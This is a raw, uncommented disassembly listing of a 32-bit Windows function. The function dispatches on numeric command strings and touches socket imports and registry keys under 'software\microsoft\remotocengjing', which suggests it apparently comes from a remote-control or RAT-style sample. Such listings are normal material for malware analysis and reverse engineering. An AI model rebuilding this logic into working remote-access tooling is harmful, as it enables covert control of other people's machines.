add esp, 0x28
jmp 0x1002d9d5
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002d95e
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dd168
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002d9a2
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002d9d5
push 0x80000301
push 0
push dword [0x100e6d45]
push 1
mov ebx, 0x1c
mov eax, 0x100b7900
call fcn.100acb10
add esp, 0x10
call fcn.1003c751
jmp 0x1002dd78
push str.110032
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002da4a
push reloc.WS2_32.dll_connect
push 0
push str.110032
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002da45
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110031
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002dae0
push reloc.WS2_32.dll_connect
push 0
push str.110031
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002daaa
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002dadb
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110061
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002dcbe
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002db0c
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dd171
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002db50
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002dbb1
push reloc.WS2_32.dll_connect
push 0
push str.110061
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002dbac
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dcb9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002dbc4
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dd176
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002dc0b
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x1002dcb9
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotocengjingwx_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100b0170
add esp, 0x28
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002dc5e
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002dc84
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110084
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002dca9
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002dcb9
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110083
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002dd78
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotocengjingqq_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100b0170
add esp, 0x28
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002dd1d
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002dd43
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110083
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002dd68
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002dd78
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 4]
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1002dd94
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1002dda4
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x1002ddb4
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002ddd2
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1002ddce
imul eax, dword [ebx]
jmp 0x1002ddc3
mov ecx, eax
test ecx, ecx
je 0x1002ddf1
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1002ddea
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1002ddd8
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1002de09
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1002de19
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1002de29
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002de47
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1002de43
imul eax, dword [ebx]
jmp 0x1002de38
mov ecx, eax
test ecx, ecx
je 0x1002deef
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002de62
push ebx
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002de76
push ebx
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002de8a
push ebx
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002de9e
push ebx
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002deb2
push ebx
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002dec6
push ebx
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002deda
push ebx
call fcn.100abdd7
add esp, 4
pop ebx
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1002de4d
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1002df07
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x38]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002df25
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1002df21
imul eax, dword [ebx]
jmp 0x1002df16
mov ecx, eax
test ecx, ecx
je 0x1002df44
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1002df3d
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1002df2b
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x1002df5c
push ebx
call fcn.100abdd7
add esp, 4
mov esp, ebp
pop ebp
ret 0x14